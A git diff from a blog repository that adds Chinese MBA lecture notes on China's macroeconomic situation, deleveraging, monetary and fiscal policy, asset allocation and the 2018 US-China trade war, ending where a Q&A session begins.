+综上，要从根源上去杠杆，除了要紧缩信用、打破刚兑，还需要降低某些资产的预期回报率。过去十年，加杠杆导致通道业务迅速发展。如今，要实现去杠杆、降低地方债务、防范金融风险，一方面要去通道、去链条，收缩影子银行业务。所以，券商、资产管理公司、基金子公司、信托业务，都在大规模萎缩。另一方面，有些行业的信用风险开始暴露。由此可见，去杠杆就是一个信用退潮的过程。 + +![](/uploads/2019/06/05-27.png) + +在信用货币时代，银行通过印制钞票进行第一道信用创造。信用创造是指商业银行通过吸收活期存款、发放贷款，从而增加银行的资金来源、扩大社会货币供应量。通过存款准备金制度，商业银行进行第二道信用创造以吸收存款、放出贷款，贷款之后获得存款，再次放贷。通过影子银行体系，进行第三道信用创造。所以，我们的货币层次划分从M0、M1、M2到M3，甚至M4、M5。 + +![](/uploads/2019/06/05-28.png) + +收缩影子银行业务就是将货币创造通道堵住，只允许中央银行进行货币创造。同时，商业银行表外业务、非标业务也被禁止，必须进行外表回表、非标转标。以上就是整个信用的收缩的过程。 + +![](/uploads/2019/06/05-29.png) + +随着高杠杆、高债务的部门风险开始暴露，流动性的退潮，大类资产鲜有机会。所以，去杠杆的政策组合可以归结为宽货币、严监管、紧信用和强改革。一方面，通过紧信用，不允许乱加杠杆；通过宽货币，让银行支持实体经济。另一方面，将宽货币与严监管紧密结合，防范系统性金融风险。 + +2.4 降成本、补短板 + +我国宏观税负一直较高，主要原因在于我国政府通过较低的环境成本对企业进行补贴。近些年，我国提出可持续发展战略，使企业环境成本提高。所以，我国必须要通过减税降低企业交易成本，否则我国制造业、实体经济竞争力将面临挑战。 + +我认为个人所得税应该从两个方面进行改革： + +1、提高起征点。 + +2、分项和综合征收相结合。同时进行税收抵扣，将孝敬老人、抚养子女、申请房贷等进行部分抵扣。 + +中美贸易战是一针清醒剂，告诫国人补短板，才能实现救国兴邦。对于我国来说，虽然新经济发展势头良好，但是大多数新经济，独角兽企业都是基于美国、德国、日本等国底层技术的应用，导致这些国家一旦禁止技术出口，企业就手足无措。所以，补短板，一方面补的是基础技术研发的短板，另一方面补的是制造业、服务业的短板。例如，汽车行业。我国汽车进口关税为25%，而美国的汽车进口关税是2.5%，差距显著。我国在2001年加入WTO之前，当时很多行业协会、企业都很恐慌，认为我国纺织、家电、汽车均不如国外，所以我们不能轻易进入WTO。一旦进入，对于民族企业犹如灭顶之灾。但是朱镕基总理力排众议，他认为，“我国既然坚持市场经济，就要相信市场、相信企业家。” + +在2001年加入WTO之后，我国纺织、家电市场开放，造就了现在这些民族企业打遍天下无敌手，如格力、海尔等。但是我们有一个领域封闭了，就是汽车，曾经的进口关税高达40%。外资企业在国内投资建厂，股权分配均有限制。由此，导致我国民族品牌的车企停滞不前，在马路上飞驰的汽车以外资为主。所以，我们要相信中国的企业家，相信他们在汽车技术、汽车生产领域一定会卓有建树，这就需要给企业家一个公平的市场环境。对于这次中美贸易战，我国要坚持道路自信、理论自信、制度自信，才能立于不败之地。 + +![](/uploads/2019/06/05-30.png) + +三、财政政策与货币政策，新经济领航者 + +3.1 货币政策 + +货币政策也就是金融政策，是指中国人民银行为实现其特定的经济目标而采用的各种控制和调节货币供应量和信用量的方针、政策和措施的总称。中央银行主要利用三个工具来调节货币的投放和回收。 + +第一，公开市场业务，指央行以逆回购的方式向市场投放资金或以正回购的方式从市场回收资金。当经济过热时，中央银行卖出政府债券回笼货币，减少货币流通量，抑制投资，最终降低总需求。当经济衰退时，中央银行买进政府债券，将货币投放市场，增加货币流通量，刺激投资，最终扩大总需求。 + +第二，存款准备金，指商业银行将其吸收的存款的一部分存在中央银行里，用于银行间的资金清算和保证客户取款的需要。例如，银行吸收100元的存款，假设存款准备金率为15%，银行需要上交15元给中央银行，只能拿出85元进行放贷，此举会制约银行的货币创造能力。综上，提高存款准备金率是货币的收紧，下调存款准备金率是货币的放松。 + +第三，存贷基准利率，指人民银行公布的商业银行存款与贷款的指导性利率，用于提高或降低借贷成本。 + +所谓的新型货币工具，都是一些中短期的借贷投放工具，例如中期借贷便利（MLF）、常备借贷便利（SLF）等。对于货币政策来说，一定要设定数量目标、价格目标调节货币供给。 + +![](/uploads/2019/06/05-31.png) + +数量目标、价格目标均是用来测算货币供应是否适度——是超发还是供应不足。对于数量型目标，随着市场深化和金融创新，影响货币供给的因素更加复杂，M2的可测性、可控性以及与经济的相关性亦在下降，对其变化可不必过度关注；对于价格型目标，在完善货币数量统计的同时，可更多关注利率等价格型指标，逐步推动从数量型调控为主向价格型调控为主的转型。 + +货币政策的终极目标是促进经济稳定增长、价格稳定、充分就业、汇率稳定、金融稳定。金融稳定任务艰巨，我国在过往实行货币宽松政策时虽然并没有引发通道业务，但是引发了金融风险和结构的脆弱性，例如加杠杆、自然价格的泡沫。由此可见，货币政策只能调节经济周期，而金融周期则必须通过宏观审慎来调节。 + +![](/uploads/2019/06/05-32.png) + +3.2 财政政策 + +财政政策指国家根据一定时期政治、经济、社会发展的任务而规定的财政工作的指导原则，通过财政支出与税收政策来调节总需求。主要手段包括国家预算、税收、财政投资、财政补贴、财政信用、财政立法和执法、财政监察。积极的财政政策指政府从财政的角度减税、扩大支出，但同时也造成赤字扩大；紧缩的财政政策指政府提高税收、减少公共开支，抑制社会总需求。 + +我国今年首次下调了赤字率，说明今年实施财政政策不是那么积极，或者说这种积极不主要表现为扩大支出及减税上。 + +![](/uploads/2019/06/05-33.png) + +四、大类资产配置，投资风向标 + +4.1 汇率理论 + +外汇市场指在国际间从事外汇买卖，调剂外汇供求的交易场所，主要职能是实现购买力的国际转移、提供资金融通、提供外汇保值和投机的机制。汇率，通俗来说，就是两国货币的比值，人民币升值对应美元贬值。 + +那么，为什么会有汇率的升值和贬值呢？因为你对这两种货币预期的资产回报率不一样。如果你认为未来持有人民币资产比持有美元资产的预期回报率要高，那么你会愿意持有人民币，推动人民币升值、增加需求。反之，如果你认为人民币资产未来预期不好，你就会抛售人民币而持有美元，人民币面临贬值压力。 + +货币预期回报率主要由两个因素决定。第一，经济增长。当美国经济下行时，美元贬值压力较大，资产回报率降低。第二，货币的供应量。在货币超发的背景下，无人愿意接盘货币，导致预期的资产回报率降低。例如，有多少人愿意持有津巴布韦币呢？因为它没有信用，货币超发一定会带来通货膨胀，即货币的贬值。 + +所以，当经济利好时，汇率强势；当货币超发或通货膨胀较高时，币值就会受到削弱。 + +![](/uploads/2019/06/05-34.png) + +4.2 黄金配置 + +黄金从长期来看，没有配比价值，因为黄金只有保值的功能，而没有太多增值的功能。美元走势与金价表现息息相关。当美元因为地缘政治和经济动荡而发生信用危机时，美元贬值，黄金无疑是很好的替代物。当美国经济走好时，其股票市场将吸引大量的国际资本，这使得大量资金流入美国，自然会增加对美元的需求。由于黄金是不生息的资产，所以大量资金自然会撤出黄金，涌向美国的生息资产，这使得美元走势与黄金走势相反。综上，美元的强弱，决定了金价长期的走势。 + +威廉·伊斯特利在《经济增长的迷雾》这本书里曾写到：“现在，世界上的大多数人还没有告别那种不幸的日子，他们并不像降生于富有之邦的我们这样幸运。今天，当生活在富国的我们去观察穷国的人们时，所看到的实际上是我们的过去。我们都是穷人的后代。如果将视角放远一点，我们都来自下等阶层。正因如此，我们才踏上漫漫征途，探求穷国致富之路。”对于国家来说，宏观经济的发展至关重要，所以我们才需要经济增速换档和高质量发展，建立服务型政府，提高人民生活水平，真正做到服务于民。 \ No newline at end of file diff --git a/_posts/2019-06-05-402-mba0503.md b/_posts/2019-06-05-402-mba0503.md new file mode 100644 index 0000000..6856700 --- /dev/null +++ b/_posts/2019-06-05-402-mba0503.md @@ -0,0 +1,260 @@ +--- +layout: post +title: 【经济学模块】 第3节 中国经济形势与中美贸易战 +pid: 402 +tags: [mba] +--- + +引言 + +国家命运决定个人命运，国家经济走势与个人职业发展休戚相关。中美贸易战是一场大国博弈，是美国打着贸易保护主义旗号对中国崛起的遏制。所以，作为中华人民共和国公民，我们应该具有独立思考能力、创造力、战胜困难能力，我们应该不断学习、大量阅读，我们应该具有使命感、树立正确的价值观，不忘初心、方得始终。 + +宏观经济学最终篇主要讲述两个话题： + +第一，通过分析不同类型经济周期，判断中国经济形势。 + +第二，详尽阐述中美贸易战背景、根源、解决对策。 + +一、中国宏观经济形势分析 + +关于我国经济形势，我曾在2015年提出“我国经济已相当接近底部，并且在未来相当长的一段时间，我国经济可能是L型”，这个判断也被中央政府所采纳，后来宏观经济数据也确切地证明——2016、2017年我国经济走势非常平缓。2017年初，我提出“新周期”，引发业界讨论。2018年初，我提出我国正处于“金融周期的顶部”。那么，我们到底应该如何分析我国经济形势？我认为可以通过世界经济增长周期，金融周期，房地产周期，产能周期，库存周期，创新周期这几个维度来进行分析。 + +1.1 世界经济增长周期 + +1.1.1 世界经济增长周期背景 + +自2008年金融危机以来，资产负债表修复，世界经济开始新一轮增长周期。 + +自2016年以来，美国、欧洲等世界主要经济体先后步入复苏行列。以美国为例，2008年金融危机致使美国金融部门、房地产部门，以及居民部门的资产负债表被大幅破坏，所以美联储通过实行量化宽松、零利率等措施来转移杠杆以修复这些部门的资产负债表。但是，这些部门并没有对实体企业造成影响。2008年，苹果公司现金流量为1000亿美元，这意味着，在2008年之前，美国的实体企业并没有参与到房地产的投机浪潮中，实体经济为美国经济复苏提供了坚实的根基。 + +![](/uploads/2019/06/05-35.png) + +欧洲经济的复苏速度比美国慢的原因在于欧洲是一个货币同盟，而不是一个财政同盟，所以它的决策机制没有美国健全，各个国家因为各自利益而影响欧洲央行决策机制。所以，2010年，爆发欧债危机；2012年，迎来银行业危机。欧洲央行直到2015年，才决定实施零利率政策。于是2016年，欧洲经济复苏。 + +![](/uploads/2019/06/05-36.png) + +1.1.2 世界经济复苏的积极影响 + +世界经济复苏促进了我国出口贸易发展。受经济危机影响，2015年、2016年，我国出口贸易部门负增长，而随着美国、欧洲等经济体的复苏促进了国际贸易交流，我国出口自2016年下半年开始复苏，从2017年至今实现正5.5%的增长。但是，这也给经济带来了新的挑战。美国的失业率创历史新低，约3.8%，意味着美国已经实现充分就业，如果企业要从劳动力市场吸纳就业，就需要给员工涨工资。所以，现在美国的通货膨胀压力比较大，美联储开始加息，虽然加息的初期还不足以抑制经济的活跃度，但到后期就会立竿见影，以上就是这一轮的世界经济周期。 + +最近，美联储前主席伯南特，桥水基金均认为美国已经建立经济新周期，所以桥水基金最近大范围做空美股，减少多仓、多单，因为它认为美国经济在边际上不会更加强势。 + +1.1.3 中国经济现状概述 + +我国经济处于“L型”筑底期和调整期，以周期性、结构性为主力。2017年，我国GDP增速6.9%，我国经济结构已经开始步入到一个消费主导的时代。 + +党的《十九大报告》指出：我国特色社会主义进入了新时代，我国社会主要矛盾已经转化为人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾。社会主要矛盾的变化是关系全局的历史性变化，要求我们在继续推动发展的基础上大力提升发展质量和效益，更好满足人民日益增长的美好生活需要。 + +所以，在过去这几年，我国服务业占GDP的比重已经超过了第二产业，超过了GDP比重的一半，我国最好的赛道和未来，都在消费领域，即买健康、买快乐。 + +1.1.4 最好的投资机会在中国 + +从全球范围来看，最好的投资机会在我国，因为我国有14亿人的庞大市场，是全球最大的一个市场，每年以6%以上的速度在增长，是美国的三倍。 + +从行业来看，第一产业增速不到5%，第二产业增速略超过5%，但是第三产业增速超过了第二产业。 + +![](/uploads/2019/06/05-37.png) + +更重要的是细分行业，在所有的主要行业里面，相比于大部分行业个位数的增长速度，信息传输软件与信息技术服务业一枝独秀，以每年25%-30%速度增长，异常惊人。 + +![](/uploads/2019/06/05-38.png) + +信息服务类子行业包括互联网信息服务、移动终端、移动游戏、网络购物、约车平台、旅游平台、大数据、云计算、电子商务等，分别以每年30%、50%，甚至60%以上的速度在增长，独角兽企业大都来自于这些行业。由此可见，我国新经济异军突起，势头强劲。 + +我国新经济具备两个特性：第一，这些行业均满足人民对美好生活需求，即买健康、买快乐。有两个案例可以证明这是一个优质的、快速发展的赛道，消费升级不是线性而是井喷式升级。 + +案例1：收入阀值指的是打破原有收入均衡引起的改变。发达国家人均GDP为5万美元，我国现在人均8000美元，而如果我国增长到1.5万美元、2万美元，就会有一些消费井喷式诞生，例如2000年的住行消费升级。对于电影票房来说，多年前几千万票房就可以独占鳌头，如今不破亿无以面对江东父老，几十亿方可炫耀，这就是消费升级。 + +案例2：八九十年代，我国男同志为了展现自己生活富裕，以有一个将军肚为美，而今我们的朋友圈都在晒健身，这就是人的价值观、消费的理念在发生变化。所以，如果企业能够满足人们买健康、买快乐的需要，就能够占领我国市场，成为世界巨头，例如腾讯、阿里，他们的生意大部分都来自我国。 + +第二，这些行业来自“互联网+”、“+互联网”行业，移动游戏、网络购物、约车平台、旅游平台，全部都是与互联网跨界融合。我国政府对于跨界、创新采取鼓励政策，有助于相关企业发展。 + +我国制造业需向德国工业4.0学习，我在去年10月份曾去德国访问，有两点体会深刻： + +第一，深刻地体会到高端制造、工匠精神的真谛。德国很多家族企业，一辈子就做一件事情，做到极致。不管是驻德使馆工作人员，还是驻德企业家，亦或德国本地企业家，都推荐我带一口锅回国送给亲友，虽然我国经济仅以每年6.8%增长，但是作为经济学家的我并不背“这口锅”，但当我买回这口锅发现，这锅背的物超所值。德国的锅，做到了“仅用几滴油，做出饕餮大餐”，它采用全密闭技术，成功将油烟拉入黑名单。所以，同样造一口锅，德国售价为我国5倍。所谓高端制造，既包括发射卫星等高精尖技术，也包括工匠精神，即将一件简单的事情做到极致。 + +第二，我国的互联网经济、新经济领先于全世界。在我国大部分地区，用一个手机就可以将衣食住行样样拿下，而在欧洲等其他经济体，由于其具有强大的行业协会和工会的力量，新经济发展寸步难行。例如，如果要发展互联网金融，银行业就会奋起反抗；要发展约车平台，出租车司机就将罢工；要发展新零售，百货商场就会决一死战，而当政府通过讨论，立法支持这些行业发展后，我国早以遥遥领先。所以，我国新经济的兴起及蓬勃发展离不开政府的支持。很多国人选择移民海外，其实这些人在国外永远是三等公民，无法进入主流社会，而在我国，我们作为主人翁，可以尽情在北京的摩天大楼里纵横捭阖。 + +综上，最好的投资机会就在我国，这是一个14亿人的市场，而且还在高速增长，纵观世界财富500强榜单，我国企业每年都大幅度提升。如果你在我国都找不到投资机会，那么你在世界任何地方都找不到。所以，老老实实把A股炒好，做好本职工作，就能实现梦想。 + +1.2 金融周期 + +我国经济位于金融周期顶部，杠杆及负债均在高位。杠杆周期指的是通过加杠杆增加负债，通过去杠杆缩减负债。通俗来说：“出来混总是要还的，欠债还钱，天经地义。” + +![](/uploads/2019/06/05-39.png) + +美国在80年代末，经历储贷危机；2008年，经历次贷危机，金融周期下行。2008年，欧洲经历银行业危机。日本在80年代、1992年、2008年各经历一次金融危机。所以，金融周期从顶部向下，极具杀伤力。 + +由此可见，1978、1988、1998、2008、2018，逢八的年份必遭殃。2018年、2019年的形势相对比较复杂，我们处在金融周期的顶部。 + +金融危机的来源在于2008年金融危机、2009年次贷危机后，我国政府在2010年收紧宏观调控，借助大量的影子银行、通道业务来支撑地方融资平台、产能过剩行业，维持经济平稳运行，导致债券悬空，杠杆率、负债率上升。负债率上升最高的部门包括地方政府、传统行业、房地产部门。现在，中央通过宽货币、严监管、紧信用、强改革来控制杠杆水平。 + +通过严监管将加杠杆的通道堵住，收缩信用、降低资金流动性、充分暴露风险、打破刚性兑付、推动债务重组和出清。所以，我国广义货币供应量（M2）增速处于历史的低位，这就是资金链紧张的原因。现在银行的抵押贷款利率为6.8%，很多企业的融资成本都在8%- 10%左右，融资成本大幅度上升，而2016年借钱成本仅为5%左右。由此，中小企业融资成本成倍增长。 + +我有一次出差坐飞机，与一位从事铜加工的上市公司董事长秘书聊天，发现这类企业的借钱成本达到12%，融资成本相对较高，原因是我国处于金融周期顶部向下，实行去杠杆，去杠杆是加杠杆的逆序过程，流动性收紧，风险开始暴露。事物发展都是在矛盾中徘徊。所以，要处理好发展与稳定二者的关系，即处理好经济自身发展规律与上层建筑之间的关系——不顾一切的发展必然会造成不会稳定，但是只求稳定必然不能发展。   + +在我国，高杠杆的部门是地方政府、地方融资平台，在大概率上不会爆掉，地方政府没有“破产法”。所以最终，如果你想教训一家地方政府，硬化对它的约束，只能自认倒霉，“自己生的孩子，哭着也得养大”。例如，2014年、2015年、2016年，中央进行几千亿元债务置换，本质就是认账。由此，要想从根源解决问题，控制地方债务规模，必须建立激励与约束机制，加强对地方政府监管力度。从金融机构的角度，打破刚性兑付，抑制隐型背书、信用溢价。 + +美国联邦政府允许地方政府破产，不允许地方政府为了增加收入而任意征税。2009年，加州破产危机爆发，让围观群众大跌眼镜，因为加州曾经是美国最富有的州，被称为“世界第八大经济体”。当时加州州长施瓦辛格想要推动税改，增加税收收入，但是遭到议会反对，而加州作为移民州，福利水平较高，加剧政府财政困难，导致加州经济陷入了死循环，无路可走。 + +国有企业也是同理，它已经产能过剩、无法维序正常运营，但由于是国有企业，所以无法进行破产出清，导致发展举步维艰。 + +我国的土地制度、金融制度、住房制度推升房地产预期收益率，人们趋之若鹜地进入这个领域，妄想大捞一笔。在2017年中央经济工作会议上，中央对房地产市场做出明确表态，提出“要坚持‘房子是用来住的、不是用来炒的’定位，综合运用金融、土地、财税、投资、立法等手段，加快建立符合国情、适应市场规律的基础性制度和长效机制，既抑制房地产泡沫，又防止大起大落。 + +在金融周期向下的阶段，最重要的是防范风险，2017年，中央将防范风险放在三大攻坚战之首。由于要去杠杆，这个时候就要持有流入性比较好的资产，这意味着今年大类资产没有系统性机会。 + +1.3 产能周期 + +2010年我国积累了大量的国内产能，2010-2015年市场自发出清，2016-2018年中央动用了行政手段进行出清，市场出清速度比预期要快、要充分。由此，降低企业资产负债率和提升产能利用率。 + +我国很多传统行业的产能利用率已经开始复苏，有效提升盈利能力。但是，现在银行对传统行业限贷、环保部门对传统行业施加压力，致使很多像钢铁、煤炭这种传统行业无法扩张新的产能。所以，随着企业盈利改善、资产负债表修复，激发市场活力，最终我国将会启动新一轮产能周期。 + +综上，因为产能出清充分，我们将2017年定义为新周期的起点。我认为2019年以后，我国经济新周期将会启动。我对2018年、2019年上半年的经济形势持谨慎态度，但是对2019年下半年以后的经济形势偏乐观。那个时候，大家将会看到库存周期、房地产周期、产能周期的叠加向上。 + +1.4 房地产周期 + +我对房地产的判断概括为一句话：长期看人口，中期看土地，短期看金融。这已经成为房地产行业的标准分析范式，你去判断任何一片区域，任何一轮房地产走势，这个框架都基本适用。 + +我国正处在房地产调控中期，这一轮库存的去化非常充分，商品房的待售面积、库存的去化周期均处在历史新低。所以，住建部、国土部发文，要根据库存的去化周期增加供地。由此可见，房地产今年投资不会太差，销售要分区域来看。 + +![](/uploads/2019/06/05-40.png) + +1.5 其他类型周期 + +第一，库存周期。2017年上半年，受库存周期下行影响，商品价格大涨。2017年3季度-2018年步入MINI去库存短周期，属于中期产能周期向上的短期库存回调。由于库存水平低，2016-2017年第2季度实行的补库周期力度浅、时间短，未来去库周期对经济的拖累较弱，这意味着只要不出大的风险，商品价格不会大幅回落。由于供给端出清，很多商品价格上涨，抗在顶部，虽然有利于企业获得更多利润，但是也降低了边际贡献。 + +第二，创新周期。创新周期长达50、60年，会制约经济中期和短周期力度，但是创新的来临一定是爆发式的。 + +第三，金融周期，与大类资产配置息息相关。 + +我认为所有的投资大师无非就是对经济周期和对人性的洞悉，正如巴菲特所说：“在别人恐慌时我贪婪，在别人贪婪时我恐慌。”正如达里奥所讲：“经济像机器一样在运转。”经济周期虽然每一轮高度、表现形态各不相同，但是都压着同样的韵脚。 + +亘古以来，我国技术在突飞猛进式的变革，但是人性像山川一样古老，你2015年经历过股灾，2017年又重蹈覆辙，人的记忆极其短暂，有可能比鱼还短。所以，人总是重视短期效益，而忽视长期效益。人总是具有动物精神，当牛市来的时候，你觉得自己就是股神，无所不能，但是股票上涨的原因正是因为无数人在炒，而当熊市来了，你沉默不语，这就是人性。反之，经济周期告诉我们，高抛低买，才是炒股。我们嘴上鼓吹价值投资，其实不然，我们参加巴菲特股东大会，回来就关注K图，这不是价值投资。 + +所以，投资是内心的修炼。我现在招聘越来越看面相，因为你修炼得好，面相肯定好。 + +二、中美贸易战根源与展望 + +2018年，美国宣布对我国、欧洲、日本钢铁进口征收25%关税、对铝进口征收10%关税。2018年4月，宣布对我国实行301调查，对我国的高端制造八大领域加征关税。其实，我国主要进口美国的能源和农产品，但美国却想遏止我国发展高端制造业，其意不言自明。 + +2.1 中美贸易战背景 + +第一，过去这一二十年，美国的收入差距大幅度拉大，是那些沉默的大多数使特朗普逆袭为总统，所以特朗普新政天然就带有民粹主义和贸易保护主义的标签。 + +第二，美国贸易逆差再创新高，我国贡献了美国贸易逆差的46%，接近一半。 + +第三，中国崛起。在全球经济版图中，我国为12万亿美元，占15%，美国为19万亿美元，占24%，中美加起来占据40%，权力巨大。两会《政府工作报告》指出，在过去五年，我国占世界GDP的比重由11%增长到15%，我国贡献了全球经济增长的30%。 + +二战以来，美国从未棋逢对手，日本在美国经济顶峰时期，占美国GDP的40%（80年代），而我国现占据其60%，保守估计，只要我国不出大的风险，只要我国改革转型成功，在不考虑人民币升值的情况下，去年我国GDP增长6.9%，未来十年我国只要增长6%，大约再过十年，我国将成为世界第一大经济体，超过美国。一个国家在世界的权势由其规模决定，虽然我国和美国在人均GDP还有巨大的差距，但是我国的影响力越来越大。 + +拉丁美洲、澳大利亚，甚至很多发展中国家经济体，他们的货币根本就不盯美元，而是盯我国，因为我国是他们最大的贸易伙伴，人民币越来越成为全球经济体的锚货币，原因在于我国权势的增大。 + +综上，美国国内制造业的衰落、收入分配差距的拉大，中美贸易逆差的再创新高，这些是中美贸易战的深层次背景。 + +![](/uploads/2019/06/05-41.png) + +2.2 美方向中方的要价清单 + +5月4日，美国贸易代表团来我国谈判，提供了一个要价清单，要点包括： + +第一，我国要减少2000亿美元对美贸易逆差。 + +第二，我国政府必须立即停止对“中国制造2025”计划涉及行业的补贴和其他形式的政府支持。美国对我国制造业2025如此警惕和敏感的原因在于中国要发展高端制造和创新现代性服务业，开始威胁到美国统治地位，中美关系由互补走向竞争，使美国诚惶诚恐。 + +第三，保护知识产权。第四，降低关税壁垒。这两条作为我国改革开放的既定议程，我国可以妥协。我国可以增加对美国能源和农产品，清洁能源与天然气进口，这符合我国节能减排的初衷。但是，美国要求我国停止支持制造业2025，这就相当于让我国停止产业结构优化升级。 + +按道理说，美国应该针对我国最具优势的领域，如纺织、家电等行业征收关税，因为我国的高端制造其实相对于美国而言毫无优势，而美国却恰恰针对我国高端制造业，如工业机器人、生物医药、医疗器械、航空产品、信息技术等领域，这些领域都是美国最具备竞争优势的产业。美国真有本事，真要缩减中美双方贸易逆差，就应该针对我国优势产业，而不是针对我国未来要发展的产业，这与美国在60年代抑制欧洲，80年代压制日本异曲同工。所以，美国实际上是打着贸易保护主义旗号遏制我国发展。而我国，绝不可能用自己核心利益来交换。由此，中美贸易战就具有长期性和日益严峻性。 + +综上，中美贸易战直接原因是贸易失衡，美国迫使我国进一步开放，深层次原因是美国试图重演80年代美日贸易战以遏制我国的复兴。坦白来说，贸易战无法从根源解决中美贸易失衡，因为失衡的根源不在于我国，而在美国的经济结构。当年，美国遏制日本，贸易逆差转移到我国，如果在未来我国经济转型成功，贸易逆差就会以印度和越南来替代，循环往复，无路可逃。 + +![](/uploads/2019/06/05-42.png) + +![](/uploads/2019/06/05-43.png) + +![](/uploads/2019/06/05-44.png) + +![](/uploads/2019/06/05-45.png) + +2.3 中美贸易失衡的根源 + +2.3.1 全球价值链分工 + +中美贸易失衡的根源在于美国。中国科技研发和销售都在海外，而本土只是一个加工和组装中心，利润微薄。例如，苹果公司，我们购买日本显示器、美国芯片，在我国进行组装，我国收取加工费。但是组装完成后，从我国出口。由此，我国对美国顺差，对日韩逆差。所以，贸易逆差虽然算在我国账上，但是实际上我国利润只有不到10%。 + +2.3.2 美国经济增长模式 + +中美贸易逆差由美国经济增长结构决定，美国作为高消费、低储蓄国家，它的制造业、生产部门只占11%，而消费部门、服务业部门却占据70、80%，即生产少，消费多，所以需要依靠进口，造成贸易逆差，而我国作为高储蓄、低消费国家，贸易逆差理所当然。因此，美国只有从根源上改变其高福利、低利率、高消费的增长模式，才能解决贸易逆差。
+ +2.3.3 美元霸权主义 + +在布雷顿森林体系崩溃后，美元霸权遭到挑战。美元为全球提供了资金融通，它经常超发货币。全球的国际分工可以分为资源国、制造国，美国提供的是终端需求和金融中心。资源国家把资源卖给我国，美国再把技术卖给我国，然后通过我国进行组装出口给美国，换来美元，再分配给制造业国家和资源型国家，这些国家获得这些美元之后，再回流美国本土，来还清美国国债。由此可见，我们3万多亿美元外汇储备、两万多亿美元美国债券，都是这种模式造成，美元货币超发对应贸易逆差。 + +2.3.4 美国实施高科技出口禁令 + +美国限制对华高科技出口，该领域逆差占对华逆差比重接近40%，但美对其他国家高科技出口为顺差。 + +2.3.5 中美劳动力成本差异 + +中美巨大的劳动力成本差异，决定了中国在中低端制造的比较优势，但美国却封锁了对中国高技术产品的出口。美国制造业占国民经济比重仅11.7%，服务业占比高达80%左右。由此可见，美国的产业结构决定其生产难以满足国内需求，需要大量依赖进口。另外，中国技术工人普遍训练有素、工作认真负责，不像美国一些工人“三天打鱼、两天晒网”。 + +2.3.6 余额贸易逆差 + +外资企业贡献中国贸易顺差的57%，美资企业是主要受益者，得了便宜还卖乖。所以，虽然中美贸易逆差表现为我国贡献了一半，而事实上，是由全球产业链分工、由美国自己的增长模式、美元的霸权、对出口的限制等一系列问题决定。所以，如果这些问题无法得到解决，就无法从根源上避免贸易战。也就是说，美国首先要调整经济模式，而全球产业链需要进行重新分工、全球货币体系需要重构。 + +2.4 中美贸易战展望 + +随着中美的差距不断缩小，我国作为世界第二经济体，每年6%以上速度在增长，而美国增速仅为2%，我国最需要的就是战略积蓄和时间，而美国最惧怕的就是中国经济持续发展的趋势和时间。 + +所以，中国要做到三点： + +第一，深刻意识到这次中美贸易战的背景。 + +第二，深刻认识到这次贸易战是打着贸易保护主义旗号的遏制。 + +第三，深刻的认识到中美贸易战具有长期性和日益严峻性。 + +我国制造业日益强大，而我国的研发水平、工程师红利却有待提高，我国已经有88.4万工程师，每年理工科毕业人数也高达上百万，这就是我国未来的红利。从历史看，贸易战不仅未能解决问题，如果管理不当存在升级到金融战、经济战、地缘战、军事战的风险。所以，中美双方要友好磋商，不要让事态进一步扩大。与此同时，我国要尽可能避免贸易战，因为我国需要3年时间进行经济转型，要去杠杆，进行供给侧改革，所以我国更需要时间来保留战略空间。虽然有些国际规则对我国不利，但是世界上所有的游戏规则，在本质上，都是为强者制订。在你成为强者以后，你就不需要改变规则，因为这些游戏规则天然就对你有利。 + +综上，我国最根本的是要做好自己的事情，要清醒地认识到我国与美国在经济上、科技上、军事上的差距，不忘初心、砥砺前行。只有认清自己，才能保持冷静和战略定力，我国要继续保持三个战略定力： + +第一，继续谦虚学习，谦虚使人进步。 + +第二，韬光养晦 + +第三，改革开放。 + +外部霸权是内部实力的验证，对于中美贸易战，我方最好的应对方式就是以更大决心、更大勇气推动新的一轮改革开放。古人云“塞翁失马，焉知非福”，我国如果应对得当，从长远看，将促进我国经济结构调整、产业结构优化配置。例如，我国汽车、金融行业已经开放。总书记在博鳌论坛向全世界宣告：“我国要将汽车进口关税从20-30%降到约10%。”我国之前封闭的汽车产业政策有待商榷，保护的结果是企业的不作为。我国曾经试图以市场换技术，结果市场与技术双飞。外资企业来华投资，国有比重必须占到51%，严重打击外商投资积极性。现在，正是我国反思的时刻。 + +作为宏观经济研究员，不仅仅要坐在办公室写研究报告，更要深入基层，了解实体经济发展的实际状况，这样才有助于具体问题具体分析来制定可实行、可实际操作的产业政策、技术政策。 + +综上，我国要尊重企业家精神，保持对内对外开放，相信企业家一定可以做出实事。我国的纺织、家电产业、手机、互联网企业在多年前远不如国外企业，但是他们走出来了，于是青云直上、飞黄腾达，这得益于我国人民与生俱来的聪明才智，得益于我国人民兢兢业业、勤勤恳恳的职业精神。由此，如果我国的汽车产业坚持对外开放不动摇，一定可以走向繁荣。 + +所以，我认为这次中美贸易战未必是坏事，作为世界上最庞大的市场，我相信在未来某一天，我国一定会出一个具有竞争力的、强势的、可以走出国门的民族品牌，造出质量最好、技术最牛的汽车。也许十年以后，你回头看这次贸易战，也许你会看到希望，因为每次我国面临困境时，只要保持改革和开放的心态，总能转危为安、涅磐重生，2001年是这样，今年也一定如此。 + +再比如金融行业，金融行业在过往也是一个高度保护的行业，我们的券商无法和高盛交流合作，而如今我国开始实施资产证券化。金融是没有硝烟的战场，我国同样要相信企业家、相信这些我国这些工程师、这些具有高水准的专业人才，他们一定可以研究出成果，让世界其他国家刮目相看。另外，我国资产管理行业同样要开放，以推动我国优秀的基金经理到纳斯达克割韭菜为目标，以其人之道还治其人之身。所以，我国要想拔得头筹、扬名海外，必须坚定不移实施改革开放，才能跨越中等收入陷阱，转向高质量发展，迈向发达国家行列。 + +时光荏苒，20年一轮回，1978年、1998年都基本奠定了未来20年的国家形势，而2018年，也将奠定未来20年繁荣的基础。所以，我国这一轮改革非常关键，如果这一轮改革转型成功，我国将在未来成为世界第一大经济体、成为发达国家。如果我国能继续以年均6%以上的速度增长，并花费五年时间将经济转型成功，那么大约到2022年，我国就有可能迈入发达国家门槛值，12600美元，成为发达国家，这是一个奇迹。未来，当我们走出国门时，我们将会说我们来自东土大唐而不是发展中国家，何其自豪。 + +最后，我国特色社会主义进入了新时代，我国经济正站在新周期的起点上，我们深信市场经济理念已经在这个国家扎根，新一届中央领导集体展现了推动改革的勇气和决心，改革是最大的红利，改革是唯一的出路，因此，让我们为改革干杯！ + +问答环节 + +问题1：东北老工业区存在僵尸国企泛滥，营商环境糟糕等问题，请问任博士东北经济发展动力在哪？谢谢。 + 